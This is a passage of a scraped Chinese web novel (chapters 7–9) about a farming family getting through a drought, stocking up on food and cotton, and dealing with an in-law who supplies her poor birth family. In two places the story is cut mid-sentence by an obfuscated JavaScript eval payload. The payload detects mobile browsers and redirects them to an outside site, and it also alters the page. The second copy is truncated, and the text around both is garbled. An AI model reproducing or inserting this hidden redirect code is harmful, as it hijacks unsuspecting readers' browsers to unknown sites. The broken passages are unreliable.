《市井种田考科举》 7. 第7章 “不能科考了?”林老婆子一惊。 这对于面朝黄土背朝天的庄稼汉而言,可是顶了天的大处罚了。土里刨食一辈子,唯一的指望就是有个出息的娃,读书科考,将一家人从地里解放出去。 这样严重的处罚摆在前头,也不用担心上游村的人赖账了。 林老婆子心里一松,又想到家里的稻子,不禁又问一句:“那清谷河,如何了?” 李村长笑着,“都解决了。” 他扭头看了一眼宋老汉所在的隔间,依稀看到宋老汉正在和宋大郎宋二郎说着话,叹一口气对林老婆子道: “宋家嫂子,虽然说清谷河现在没人敢堵了,水也通了起来,但毕竟是两个村子的人都在用水,眼看着这天就要不好了,人人都使劲挖着田坎,想将水引进自家都地里头…” “就算清谷河开了,那水也是远远不够支撑稻子抽穗结束的啊,现在村里人都去后山挑水回来灌田了。” 李村长犹豫着,摇摇头:“可现下你家……唉,这挑水的事可如何是好……” 林老婆子心中有了计较,知道挑水灌田的重要性,连忙道:“真是多谢了,还特地来通知咱们。” 说着,李村长进去看望了宋老汉,两人寒暄了几句,说起现在天气的严峻,隔间内气氛凝滞,宋大郎宋二郎当即表示,要先回去挑水灌田。 就算少了宋老汉一个劳动力,但庄稼不能不管。 柳雪梅和朱秀儿也跟着附和,先回去救庄稼。 宋老汉绷着脸点头,现在是稻子的关键时期,秋收成不成就看这几天呢,万不可马虎。 林老婆子本也想跟着回去,但宋大郎以“不能没有人照顾爹”为理由,林老婆子又熄火了。 宋明玉这边,三个侄儿叽叽喳喳围着她,听到爷爷已经没事了,过两天就能回家,脸上的愁容也很快就散去了。 取而代之的是对镇子上热闹场景的新奇和期待。 “小姑,外头好热闹呀,还有…还有糖葫芦!”最小的宋知文流着哈喇子,满脸羡慕地看向街道外。 宋知江与宋知云也咽着口水,眼睛不眨地盯着窗户外刚出锅的肉包子,一股霸道的香气无缝不钻,叫人难以忽略。 白胖胖,香软软的肉包子! 虽说老宋家的日子比较好过,但也只有逢年过节才舍得割肉回来吃。家中汉子多,平日里也会去山上打打猎物,但也不是经常能吃上肉。 “小姑,肉包子…” 宋明玉看着面前三张亮晶晶的小脸,每个人的脸上都写满了渴望。实在太过闪亮,叫人难以忽略。 宋明玉大手一挥道:“下次来集市,小姑一定带你们吃大肉包子!” “但现在你们要去哄一哄爷爷,爷爷高兴了,病也能早点好,就能早点回家,咱们下次来镇子上也能早一些。” 听到这话,三个小子一蹦三尺,欢呼起来。 小姑从不撒谎,小姑说要带他们吃大肉包子,就一定会实现! 一想到马上可以吃到大肉包子,几个小娃都很开心,纷纷围着宋老汉嘘寒问暖起来。 “爷爷,还疼不疼呀…” “爷爷,文哥儿给爷爷吹吹,爷爷就好啦!” “爷爷……” 宋老汉看着三个萝卜头争先恐后围在身边关心他,个个嘴跟抹了蜜一样,笑呵呵摸过三个毛茸茸的脑袋:“爷爷没事,爷爷身体健壮着呢,能有什么事。” 三个男孩子笑得露出整齐的小白牙,“爷爷要好好养病,早早回家!” 宋老汉哈哈大笑,隔间内的大人们都笑着看爷孙几人。 柔和的阳光下澈,暖融融的。 下午。 宋大郎一行人不多待,庄稼要紧。 林老婆子抱着宋明玉,看着宋大郎驾着马车往出镇子的方向越行越远。 将宋明玉也留下的原因很简单,家里人忙着去挑水灌田,三个皮猴到哪上蹿下跳都没问题,但宋明玉身子骨弱,得时常有人照看着,商量来商量去,林老婆子不放心,索性自己带在身边。 宋明玉朝着坐在牛车上的三个侄子招手,“小姑很快就回去了,你们要乖乖的!” “小姑,我们等你回来!” 宋大郎宋二郎一回到家,立马将几个大水桶找了出来,朱秀儿和柳雪梅也不含糊,挑水是个耗费精力都活,收拾了些饭食带上。 出门前,宋大郎将家里院子里里外外堵好,又将大院的门给锁好,反复叮嘱三个小子:“好好待在家,特别是江哥儿与云哥儿,完成孙夫子布置的课业才能去后院玩,我今晚回来要检查。” 三个小子齐齐应是。 大人们这才放心出门。 * 日子就这样一晃过了六天,宋老汉当了一辈子庄稼汉,身子本就硬朗,恢复得也比旁人快,这天终于是可以回家静养了。 宋大郎早早得到消息,带着上游村周村长来到平安医馆,来结这些天的银钱。 “什么!三十两!”周村长脸色那叫一个精彩,“什么病得花三十两银子!” 林大夫看见他这一副样子,头也不抬,“不相信你可带着药方子去旁的医馆问问看,这里面所用的药材,值不值这三十两银子。” 周村长脸上顿时一阵青一阵白。他非要跟着宋大郎一块来镇上,就是为了防止宋家狮子大开口,咬他们上游村一块肉,因此他一定要亲自到医馆结钱,这样也不会被稻香村的抓住把柄。 没想到这医药钱竟然这般贵。 思想斗争了好一番,这三十两银子可不是普通数字! 在宋大郎冰冷的眼神中,周村长一咬牙,为了村中小娃能正常读书科举,还是不情不愿掏了银子。 林大夫拿着银子来到隔间,将五两银子放在林老婆子手中:“当日你家媳妇过来,我也明白了整个事情的原委,想不到这上游村竟然这样欺负人,简直是不把人命放在眼里,方才是我多要了银钱,这是你们应该得的补偿。” 林老婆子两眼泪汪汪,她所带的全部身家现在还在贴身口袋里装着,不过就二十两银子,林大夫这样就将五两银子给了他们。 “林大夫,这……” 林大夫摆摆手道:“这本就是你们应得的,且我也没有少要医药钱。” “对了,当日那根老参还剩下一半,这一半也是你们自己凭本事带来的,且拿回去吧。” 宋大郎双手接过还剩下一半的老参,宋家人皆是千恩万谢,林大夫摆摆手就去前堂坐诊去了。 林老婆子手里捧着这五两银子,这可是相当于全部身家的四分之一啊。 这五两银子相当于是多出来的,宋老汉当即表示,买些娃子们喜欢的甜嘴回去。 宋明玉欢呼,抱住宋老汉撒娇:“爹爹最好啦!” 看着白玉团子这开心的笑容,甜甜滋滋的,宋家人也都很高兴。 宋老汉笑着,这两天他已经习惯了下床走动,当下就习惯性想把宋明玉放在脖子上,笑呵呵道:“爹爹带囡囡玩飞飞好不好。” 林老婆子赶紧制止,将宋明玉抢过来,“林大夫都说了回去静养,不宜多动。” “这采买的任务也交给我们,你在医馆里好好休息。” 宋老汉不服,伸出一只大黑胳膊就像展示自己的体魄,“老婆子,我啥伤病没有过,这点小病……嘶嘶嘶!疼!” 林老婆子见他逞能过了头,连忙上去扶住,心急道:“怎么了老头子,你别吓我。” 宋老汉坐回床沿,小心翼翼活动了一会,才道:“没事,太久没伸展了,有些疼…” 林老婆子笑骂他:“叫你逞能,吃苦头也是活该。” 宋老汉只是嘿嘿笑着,林老婆子又再三叮嘱了几遍,这才带着宋明玉出了门采买。 宋大郎来到过节常来买的猪肉摊面前,摊主是个面皮黝黑的壮汉,人称猪肉荣,拎起杀猪刀时凶神恶煞,很少有人敢在这闹事。 宋大郎轻车熟路,出门时已经和林老婆子商量好了,买三斤猪肉,两斤板油,再买一匹新布回去给娃儿们做衣裳,两斤粗盐等。 宋大郎采买猪肉,林老婆子则带着宋明玉买零嘴去了。 现在家中最要紧的大事过去了,闺女想吃甜嘴,那必须得买! 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人人都知道山后有条大河,现在早已经人满为患,去了也是挤得半死,本就泥泞的小路因为泼水人流等原因,比下雨天还难走,且那条大河的水也是一天比一天少。 清谷河更是已经干涸了。 宋大郎皱着眉头,心下不宁,总有种不好的预感,咬牙道:“猪肉再给我多切五斤,板油多切两斤!” 猪肉荣没多说,利落将猪肉切好。板油比猪肉贵,毕竟能炼油,熬出来的猪油渣也是一盘菜,价也贵,40文一斤。 “一共400文。”猪肉荣将肉和板油一起递过来,挑了两只猪耳朵放进去,“老规矩,买的多的多送些添头。” 宋大郎拎着肉,回到平安医馆,让宋老汉看着猪肉,没等宋老汉问怎么买这么多肉,宋大郎又出去买布去了。 到了布庄,才发现此处更是人潮拥挤,且如今都已经是下午了,布庄竟是还没有开门。 这可不合常理。 宋大郎拉住一个也在布庄外等待的人问,“这布庄今日怎么回事,为何到现在还没有开门,难道生意不做了?” 那人看了他一眼,见他这样黝黑,穿着简单,看着就是一个乡下来的泥腿子。 不过他也没有嫌弃,热心解释道:“没听说吗,北边出了霜冻,据说冻死了几座城池啊,现如今棉花水涨船高,这些人都是在这等着抢棉花的!” 宋大郎惊讶,“如今秋收都还没到,竟然就开始霜冻了?” “可不是么,果真是个灾年。”那人叹一口气,瞧着宋大郎这实心眼的样子,不由得多说了几句,“老兄,听我几句劝,今年这年要不好过,多买些回家存着,有备无患。” “多谢了。”宋大郎行了恭恭敬敬一个礼。 若有所思,想要再多问一些,布庄突然开了门,守在门外的一群人争先恐后往布庄内涌去。 宋大郎还没来得及反应,就被人群裹挟着进了布庄里头。好在布庄足够大,掌柜也知晓外面的形式不好,每十步之内就站着一个凶神恶煞的打手,腰间佩刀,涌进来的人连呼吸都不敢重了,生怕惊了这群打手。 虽然人多,摩肩擦踵,没有一个人敢闹事,都是规规矩矩挑着布料,亦或者去抢购棉花。 宋大郎捏紧手心,若那老哥说的是真的,多买些棉花备着确实是对的,就算霜冻没波及到徽州府,回去给家里人每人缝一件棉衣过冬也是好的。 这年头棉花贵,再加上这样的买棉花狂潮下,价格更是涨上了天,一斤85文。 这对于一年到头都舍不得吃几次肉的庄稼汉来说,算是天价了。 毕竟来镇子上找帮工,累死累活一天才赚不过十几文钱,还不是日日都有活做。 宋大郎咬咬牙,一下买了五斤棉花,一共花了425文。 看到一些碎布头,想到媳妇朱秀儿的绣品,又要了一些碎布头,索性也一下子多买了些,零零碎碎花了440。 再扯一条好布,一共花了600文。 宋大郎只觉得,这辈子从来没有在一天之内花过这么多钱,这一来一回的,一两银子已经没了。 8. 第8章 等宋大郎背着五斤棉花,一匹布回到平安医馆,林老婆子和宋明玉早已经在医馆里等着了。 看到宋大郎买这么多棉花,林老婆子惊着直问,“这是怎么了,怎么买这么多棉花。” 宋大郎将棉花放下来,擦着汗,“爹,娘,如今这天不好,物价也是涨的快。” 眼瞅着牛车附近没啥人,宋大郎将棉花、猪肉放到牛车上,仔仔细细盖好。这才和林老婆子说:“如今猪肉涨了三文钱,一斤要35文,棉花更是贵,一斤85文,就这样,还一堆人在布庄外头蹲着要抢。” “85文一斤!”林老婆子大惊,“那一下子买了这么多,这要多少银子啊!” 宋大郎继续道,“我在布庄外头问了一个老哥哥,说是北方现在霜冻,冻死了好几座城池的人,咱们福满镇消息比较闭塞,传到这不知道消息已经过了多久。” “更别说咱们稻香村了,是一丁点消息也无,看着这么多人在抢,咱们也备上一些,有备无患。” 林老婆子缓着呼吸,点头道:“是了,我刚带着囡囡去买零嘴,那些小玩意竟然也是涨了一文钱,就连肉包子都涨价了,如今三文钱一个,里头还没什么肉。” 林老婆子不舍得花钱,但是给自己的心肝闺女,自是大方的,总共花了一百文钱买零嘴。 宋大郎记着平安医馆的恩情,将自己的见闻都和林大夫与林安说了,劝他们也早做准备。 思来想去,又去了谢家,求了门口小厮,最后谢二娘子身边的小丫鬟出来了,“我们家娘子比较忙,你有什么事?” 宋大郎仔仔细细将物价飞涨和北方霜冻的消息告知,劝道早点囤些所需物品。 春月听他说完,捂着嘴笑着,“还算你有些良心,这消息我们娘子早就得知了。” 宋大郎颤颤行礼,“谢府大恩,小人没齿难忘。” 春月笑着回去禀告了。 谢二娘子正陪着尚且会爬玩的小女儿玩耍,听春月禀告完,这才笑道,“这宋家人还真是个实心眼子,不枉我当日好心赠药。” “春月,你且吩咐下去,从今日起,府里要减少开支,让采买处的下人继续多买些米面粮油存着。” “是。”春月答。 * 宋大郎牛车行得稳当,载着爹娘和小妹稳稳当当行驶在回家的路上。 看着一路过来,稻子病殃殃的长势,宋老汉心情沉闷。 庄稼对于乡下人就是命,看到稻子这样子,心里不好受。 宋老汉认真观察着两边的稻子,下定决心。若是今年收成真的不好,就去镇上买一些,以备不时之需。 八斤猪肉和四斤板油被拎进厨房,柳雪梅看到这么多肉,不敢置信揉着眼睛,拍了拍身边的朱秀儿,“秀儿,我没看错吧,娘怎么一下子买这么多肉回来?” 朱秀儿淡淡抚开她的手,“娘怎么做肯定有娘的道理。” 说着,朱秀儿也没多看,径直进屋去。 柳雪梅嫌弃看着她的背影,不就是仗着会点针线活,有什么好逞强的。 八斤五花肉,七斤被做成了熏腊肉,挂在后院的屋檐下晒太阳。 大顺朝的猪肉都是实打实家养出来的大白猪,肉质紧实,油亮饱满,金黄光润,光是在屋檐下一站,就能闻到那鲜香的香味。 还有一斤,林老婆子准备留着让家人时常能吃上较为新鲜的肉。水烧开之后,将肉放下去煮熟,捞出,倒些白酒浸没,这样猪肉能存放的时间也更长些。 切下晚上要吃的一块,剩下的放到罐子里,放到阴凉角落存着。 四斤板油被炼成了猪油渣和三斤多的猪油,将家中所有的罐子都装了个满满当当。 林老婆子笑着将猪油渣端出去让孩子们当零嘴吃,但数量限制,每人只能吃三块,不准多吃。小孩身体弱,怕吃多了上火。 柳雪梅看着黄澄澄的猪油渣,无数次咽下口水,但是看着林老婆子将一部分猪油渣放到柜子里,一大部分拿到了堂屋的小房里面藏着,她撇撇嘴,嘟囔:“还不是为了那个小女娃…” …… 一连几日,宋大郎等人去挑水灌田,女人们只去挑白天,男人们则日夜不停,时常累得不成人形,倒地就睡。 林老婆子担心他们的身体,每晚都炖肉吃。还有油汪汪的新鲜猪油炒菜,香得每个人都能吃两大碗米饭。 三个小子也高兴,宋明玉带回来一些从没见过的零嘴,各种味道都有,样式精巧,最重要的是,带回来了大肉包子! 家中阴霾阵阵,也在小孩们的嬉笑声中淡下去。 燥热的天逐渐过去,清晨和夜晚也开始凉爽起来,稻子的抽穗期也已经过去。 宋大郎和宋二郎每日出门看着稻子的长势,需要水时,便去山头后的大河去挑水回来。 林老婆子看着自家早早存了的两个大缸的水,心里庆幸无比,“还好咱们趁着水井还出水的时候存了一些,不然就得像村里人一样去挑水。” 出门摘菜时经常遇到一些家里没水了的,拖家带口去后山那条浑浊的大河里去抢水,去晚了只能抢到一些泥泞。 村里骂声阵阵,人人愁眉苦展,不得不去更远的地方挑水回来。 宋家更加珍惜用水了,除了一些必要的之外,一滴水都不能浪费。 就算是这样,家里十口人,两口水缸再怎么能装,如今也已经用完了一缸的水,宋大郎与宋二郎也开始加入挑水的队伍,往返几个时辰,只为将干净的水带回来。 这时候有牛车的优势就显现出来了,宋大郎在前面驾车,宋二郎在后面护着水,兄弟俩人长得本就沉闷,板起脸来凶神恶煞,一路上没什么人敢搭腔。 这样也便利了许多。 宋老汉也被林老婆子勒令在床上躺了二十多天后,终于能出门走动了。 一开始不让干重活,只得去后院喂些鸡鸭,浇浇菜,后来也能去村子里溜达了。 棉花被林老婆子暂时放到了储物的小房里。原本听说要有霜冻,一家人还担心了好几天。 但这些天下来,旱是旱,但那股热浪还是经久不散,就是夜晚有丝丝凉意,但也完全没有要霜冻的意思。 家里人也没多说,毕竟这一趟下来,自家也没少银子,上游村补偿的那五两银子,就算是给给家里每个人过年添一件新棉衣。 朱秀儿便开始着手给家人做起衣裳来,一针一线,针脚细密。 柳雪梅看着小房里的五斤棉花,啧啧嘴,戳了戳朱秀儿,“秀儿,我这辈子没穿过用棉花制的衣裳呢,我看着用来做衣裳也是浪费,不如做成大棉被,那才舒坦呢。” 朱秀儿头也不抬地继续做衣裳,“娘说咋办就咋办。” 柳雪梅自觉没趣,这朱秀儿为人木纳,真是本分主意都没有。 要是那天她不去平安医馆闹上那么一出,上游村的人会不会赔钱都不一定呢。 柳雪梅拍着裤腿子站起来,“那八斤猪肉,做了七斤的腊肉存着,我看这些天也差不多腊好了,不如今晚就打打牙祭,和小葱一块炒了吃。” 柳雪梅砸吧着嘴,这几日都吃着猪板油,嘴里有荤腥,干活都觉得浑身是劲。 朱秀儿没理她,柳雪梅来了气,“你怎么跟块木头似的,难道你就不想尝尝那腊肉啥味?” “这几日夜里热,一开窗户腊肉的味就往屋子里钻,那味道哟…” 瞧着朱秀儿还是没有半点动静,只是安安静静绣着衣服,柳雪梅也只得将气往肚子里咽,努努嘴走了。 毕竟朱秀儿绣的衣服里,也有她的一件。 到厨房,仔细看了附近没人,柳雪梅偷偷掀开猪油罐子,看着里面浓香馥郁的猪油,白花花的,结在上面厚厚的一层,光是闻着都觉得神清气爽。 柳雪梅小心从怀中拿出一个小罐子,仔细从猪油罐子的边缘部分开始刮,装进小罐子里,刮足了小半罐,这才将猪油罐子放回原处。 这猪油放着一会就会自动向没填满的地方而去,重新归回平整,这样就没人发现了猪油少了一部分。 柳雪梅又从柜子里将猪油渣的拿了出来,先是塞一块到嘴里,才心满意足地从怀里掏出一块帕子,捡出一部分猪油渣包好。 而后拎着小篮子出了家门。 “二郎媳妇,你去哪?”林老婆子从屋里探出头来,问了一句。 柳雪梅正想着篮子里的猪油和油渣,突然被这么一叫,有些慌张,“娘,咱们在村东头不是有块菜地嘛,闲来无事,我去瞧瞧。” 林老婆子半信半疑看着柳雪梅出了门,来到厨房,从橱柜了拿了两个鸡蛋,特地看了一眼猪油罐子,掀开盖子发现正表面没什么变化,再看了腊肉和猪油渣… 皱着眉想了一遍,这猪油渣好像与方才摆放的样子不一样了? 柳雪梅出了门,挎着篮子赶紧赶慢往柳花村去。 柳花村离稻香村不远,二十多分钟的脚程,村子没有稻香村大,也没有稻香村富庶。 柳雪梅一路上遇到不少还挑着水桶匆匆去往后山的村民,嗤笑一声,“现在才挑水灌田,也太晚了…” 现在稻子的抽穗期也快过了,如今灌田,用处也不大。 “雪梅,又回娘家啊?” 一个柳花村人见着她,迎着面打了招呼,眼睛止不住地往柳雪梅身前挎着的篮子里瞧。 可惜柳雪梅拿着布盖得严严实实,一丁点缝都没留,实在瞧不见里面到底装了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14485423|154537||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啥。 柳雪梅笑着,“可不是嘛,天旱成这样,我也担心爹娘,想到两个村子离得近,就回家看看。” 几人说笑着挑着水桶走了,看着柳雪梅匆匆往娘家的方向去,这才扯开了话头。 一个妇人道:“真是造孽哦,稻香村老宋家竟然聘了这样一个只会往娘家跑的媳妇,什么好东西都只知道补贴娘家,我方才可是闻到了肉味。” 另一人说着:“整个柳花村谁不知道,就属柳家最穷,生了一窝儿子,个个不是读书的料,干活还不积极,家里头就柳雪梅嫁了个好人家,那不得时时补贴娘家嘛,眼看着娘家饭都要吃不起了!” “吃不起饭也不能什么都指望着嫁出去的女儿啊,哪有人家这样的?” “唉,真是作孽…” 几人个妇人摇摇头走了,聊着聊着话头也扯到了水上,看着现在满眼的干旱,后山的水也是越来越少了,这该怎么办啊。 柳雪梅抄着熟悉的小道回到娘家,看到那几间熟悉的茅草屋,脚捣腾得愈发飞快, “爹,娘!”柳雪梅喊着,就看到一个穿着补丁的女人从屋内走了出来,着急迎上前来,“哎哟我的儿,你可终于是回来了,快让娘看看…” 马氏满脸热泪的将女儿拉过来,眼睛却往篮子里瞟,“回来就回来,还带什么东西,这永远都是你的家!” 马氏将篮子接过,感受到里面沉甸甸的重量,脸上得笑更真切了几分。 “娘,爹和大哥他们呢?”柳雪梅被马氏拉着坐下,四下环顾,看着破破烂烂的草屋子,有些气道: “娘,我都说过多少次了,这屋子是咱们安身立命的根本,一定要找人来修屋子,银钱我也拿回来不少,都是我家二郎辛苦挣来的,怎么……” “哎哟…”马氏一拍大腿就开始嚎起来,“可不就是怪你那狠心的爹么,银子到手了,就去镇上赌钱去了…” 马氏边说着边偷偷观察柳雪梅的神色,“我们也拦不住他啊,你也知道你爹……唉!” 说着就开始抹眼泪,“眼下银子是没赌到,还欠下了一屁股债,之前想着你在娘家也处处不便,但眼下要债的都要堵上家门来了,这可怎么办啊……” 柳雪梅抿着嘴,将篮子拉过来,“娘,最近我夫家买了板油,我带了些油渣和猪油回来,你和小弟吃了补补身子,至于阿爹……别让他吃了!” 马氏瞪着眼睛,这还是她第一次听到柳雪梅说这样的大逆不道的话,“这怎么成!” 柳雪梅气着将篮子重重放在桌上,“这算哪门子爹,要不是我命好,遇着宋二郎,婆家也都是知理的,从不亏待人,我能有今天?” “娘,您可别忘了,那年冬天爹可是差点要把我给卖了!” 马氏自知理亏,单这些年一直靠着柳雪梅的接济,家中日子才能继续过下去,再怎么样都不能得罪了她。 “好女儿,我知道你心里还是心疼爹娘的,你爹那个混账,今晚回来我就好好教训他,这猪油渣也半点都不会给他的!” “今年是个灾年,咱们家的稻子全靠着你大哥二哥打理着,现在还在挑水灌田呢,怕是今年又要交不上税了……” 柳雪梅捏紧手心,“这年头都不容易,叫大哥二哥还有四弟五弟有时间就去镇子上找找活做吧,这样也有个进项。” 马氏哭着,“这眼下也是来不及了,马上就要秋收,朝廷收税的立马就要进村了,现在去找活计,哪能来得及…” 柳雪梅虽然接济娘家,但也不会全然不为自己着想,知道马氏与她哭诉,定是又有所求。 她道:“我前些日子就已经说过,去找活计攒银钱,你们非不听!” 马氏只是哭着,“哎哟我这命苦啊,我怎么这么苦啊……” 柳雪梅将篮子里的猪油渣和小半罐猪油拿出来,“时候也不早了,出门时我说出去摘菜,等会我婆母得去找我了。” 马氏见她要走,着急道:“你这是不顾娘家了吗?” 柳雪梅也道,“娘,我自出生以来就比大哥二哥干的活还多,爹爹好赌,追债的人总是打上家门,好几次爹都想拿我去还债,奈何年纪小,那些人看不上我……” “就算是出了嫁,我也没忘你们的生养之恩,好东西都紧着往娘家送,就连银钱都送过不少,我自觉仁至义尽!” “这修屋子的银钱,我已经给你们了,是你们自己收不住。可那赋税的银子,我是万不能再出了,这对不起我婆家,更对不起二郎!” 马氏看着柳雪梅走远,大骂道:“你个狠心的小蹄子,当初就不该生下你,这赋税的银子,你必须给你大哥二哥交上!你狠心看着他们被抓壮丁吗!” “那可是你亲哥啊!” 9. 第9章 柳雪梅听着身后马氏的叫骂声,眼泪糊了满眼,还是挎着小篮子重新踏上回家的路。 要是被林老婆子发现了自己这些年一直在偷偷接济娘家,自己这日子过不过得下去还不知道呢。 柳雪梅打起精神,将泪抹尽。 不管怎么样,这些年的养育之恩她已经算是还完了。柳雪梅在心里默默念叨,以后她一定和宋二郎好好过日子。 马氏看着柳雪梅头也不回地走了,也开始着急,“这小贱蹄子竟然敢开始反抗了。” 她转了几圈,停下脚步,“不成不成,绝对不能被抓壮丁,先不能逼急了她,再好好想想办法…” * 浮云缓动,夕阳西下,日子像是按下了加速键,转眼就到了十月份。 黄色的芸苔大片大片盛开,整个徽州府像是沉浸在了黄色的花海里。 宋老汉也已经大好,但宋大郎一直没让老爷子跟着去田地里头干活。 老爷子闲不住,带着休沐在家的几个小娃们一同上山,这个季节的山货可多着哩,听说赵大牛上山打牙祭,捉到了整整三只大山鸡,还掏了一个野鸡窝,里头有数十个野鸡蛋,拿到镇上卖了不少银子。 听到这个消息,村里人纷纷拖家带口地往山上去,就算抓不着山鸡,能找到些山货囤着也好。 冬天大雪封山的时候不能上山,可不得就靠着这个时候多囤点吃食。 但是村里人除了经验丰富的猎户,谁也不敢进深山,只是在外围。 还得有人一起看着照应,才敢来找野山货。 一大早,宋明玉和三个侄儿就起了床,笑笑闹闹玩了一圈,最后每个人都分到一个小背箩,就连最小的宋知文也得了一个小篮子,全家一起笑哈哈出了门。 “出门咯~囡囡想不想吃大鸡腿,爹爹上山给囡囡抓大山鸡,炖鸡汤给囡囡喝好不好!” 宋老汉笑的满脸褶子,将闺女放在脖子上,一老一少笑哈哈飞奔上山,三个男娃子在后面追着。 林老婆子笑着,“这老头子,尽会和孩子胡闹。” 担心他身上的伤,想来阻止一下,还没开口就被宋老汉给瞪了回去,语气哀求道: “我在床上躺了这么多天,好不容易能起来了,老婆子你就让我抱着闺女吧,我力气大得很!” 说着,宋大郎和宋二郎都笑起来,三个小男孩趁机跑在最前面,玩玩闹闹,大人们时不时嘱咐两声,不能跑太远。 “飞咯~”宋明玉坐在宋老汉的肩膀上,白玉团子的笑声通过乡野传出去老远,听得人心情都舒畅了不少。 宋大郎宋二郎两人各自挑着担子,女人们则每人背一个大背箩,小娃们的小篮子就相当于让他们带着出去玩。 黄灿灿的芸苔随风而动,碧空如洗,传来阵阵清香,不知名的小花四散而开,漫山遍野。 一家人说说笑笑走在乡野的阡陌上,碰着熟人就乐呵打着招呼,悠然自得。 稻香村四面环山,如今金秋时节,到处都是黄澄澄的,空气中全是丰收的喜悦。 宋大郎说:“爹,今年的稻子没有往年好,但也差不多到了收获的时节,今天去山上采山货,明天我就和二郎去守稻吧。” 宋二郎努努嘴,懒懒应了一声。 宋老汉看了一眼路边的稻子,粗糙的大手种过多年的稻,一摸就知道成熟度。 仔细感受了片刻,这才道:“估摸着这两天就要熟了,产量不能和往年相比,趁现在山货多,赶紧多囤点山货,冬天才不难熬。” 一家人心里一紧,除了小孩仍是无忧无虑,其他人都开始盘算,一定要多找点山货囤着。 宋明玉则是看着一大片黄灿灿的芸苔陷入沉思,先前在镇上待的几天日子她已经摸清楚了,大顺朝的繁荣程度相当于北宋时期,藏富于民。但奇怪的是,大顺朝如今仍是吃着荤油,也就是动物油,并没有植物油。 眼前这一大片黄灿灿的芸苔,可不就是后世菜籽油的前身嘛! 宋明玉觉得自己发现了天大的商机,此时的人们种植芸苔,完全是因为这种蔬菜耐寒,生命力顽强,不管是就着水煮,还是炒着,都甘甜无比,好吃得很,比苦巴巴的野菜不知道要美味多少倍。 正因为如此,大多数人都选择在山地上种芸苔,芸苔也是冬天最重要的蔬菜。 宋明玉心里兴奋,想到菜籽油的芳香,还能减少不少心脑血管疾病。更加坚定了目标:发家致富要从菜籽油开始。 宋家也种了一大片芸苔,就连后院也种了小半亩,下雨天路不好走时,林老婆子时常在后院摘菜,烫熟就是一盘小菜,省时省力。 宋明玉眼睛眨都不眨一下地盯着大片芸苔看,宋老汉以为她喜欢这些黄灿灿的小花,便道:“哟,囡囡也想去扑蝶子啦。” 宋明玉这才发现有不少孩子在芸苔地里扑蝴蝶,浑身脏兮兮的,玩得不可开交。 宋明玉连忙将头埋在宋老汉的肩膀里,扭捏着:“囡囡才不去呢,脏脏。” 这一幕可爱得如同福娃娃一般,又是让宋家人一顿笑。 很快便到了山边边上,三个小男娃早就找到了各自的小伙伴,一群小娃子成群结队去玩了,只剩下各家的大人在身后跟着吼:别跑太远,要一直在大人的视线里面。 一群小娃又是上树又是掏鸟窝,其中不乏也有从孙夫子的学堂里休沐回来的,被拘着读书这么多天,眼下更是撒丫子疯玩。 “那群小皮猴。”林老婆子笑着,仔细牵着宋明玉的手往野菜多的地方去,“乖囡囡别和他们去,仔细伤了你。” 宋明玉点头,“囡囡不去,囡囡要和娘亲在一起。” 林老婆子见她这样懂事,心里软乎乎的,恨不得将小玉团抱起来再亲一遍。 宋老汉则是和宋大郎宋二郎去了较为内里的地方,但也不敢过多前进。 宋老汉临走时仔细叮嘱宋明玉一定要听林老婆子的话,还说会抓大山鸡回来,今晚就炖了吃。 宋明玉一张嘴跟抹了蜜一样甜,好听的话不要钱一样往外蹦,就连懒散的宋二郎都笑着捏了捏她的脸,说等着二哥给你抓大山鸡。 林老婆子和村里几个妇人一起摘野菜,时不时看着小闺女,见她安安静静蹲在那看蚂蚁,也不拘着她了。 小孩的视角看世界总是新奇的,比如此刻,宋明玉看到一排排蚂蚁,突然想起夫子所说,蚂蚁找到食物后会回去通知其他伙伴,然后一起将食物搬回来。 她就这样一路跟着蚂蚁队伍,一抬头,竟然看到了一大片的蘑菇。 宋明玉兴奋抬头,见林老婆子就在不远处,兴奋跑过来,“娘!娘!” 林老婆子抬头,见小闺女在太阳下白的发光,真真如年画上大福娃娃一般,方才几个妇人还在夸囡囡长得圆润可爱,心里更欢喜了,“哎哟,娘的乖囡囡。” 宋明玉拉住林老婆子的衣角,“娘,那有蘑菇!” 林老婆子顺着宋明玉所指大方向看去,只见那是一大片树荫,叶子层层落下来,形成了厚厚的腐植层。 那种地方可是蛇鼠毒虫最爱出没的地,林老婆子心一下子就提起来,将宋明玉拉过左看右看,没看到伤痕,这才松一口气。 “囡囡,以后不准去那些地方,可能会有大蛇,大蛇咬人很疼很疼的!” 宋明玉歪着头,“可是哪里有大蘑菇!” “有大蘑菇也不能去那危险的地!” 宋明玉抱住林老婆子大腿,仰起脸天真道:“囡囡都听娘亲哒。” 林老婆子心里一下子软了,怕她饿着,从布袋子里掏出一个馍馍递给小闺女。环顾四周,没人注意娘俩,当即找了一根树杈子,一路打着草,往宋明玉所说的地方去。 确认周边确实是没有蛇虫之类的东西之后,林老婆子这才小心翼翼扒开厚厚的树叶,看到下面白白胖胖的大蘑菇,差点叫出声来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一直将六个大麻袋子全部装满,三个女人拿着担子将大麻袋挑下了山。 路上遇到一些村里人问,林老婆子笑着说,“都是一些山楂野菜的小零嘴,孩子喜欢吃,还挖了些野芋头,个比较大,也重,正打算回家晾起来。” 这年头各家各户都种有芋头,因此挖芋头也不是什么稀奇的事,也不少人在大山边缘开荒种地的,村里人也没多想。 很快三人就将六个大麻袋的栗子全都倒在后院里,再次急匆匆出门了。 已经装走了不少的栗子,如今遗落的地面的已经没有多少,除非有人上去摇树干,让栗子刺球掉下来,但这样必定会被村里其他人发现。 林老婆子想了想,“反正咱家已经挑了足够多的栗子回去,估摸着去完壳后也有个七八十斤,让村里人也捡一些,乡里乡亲的,做好人没坏处。” 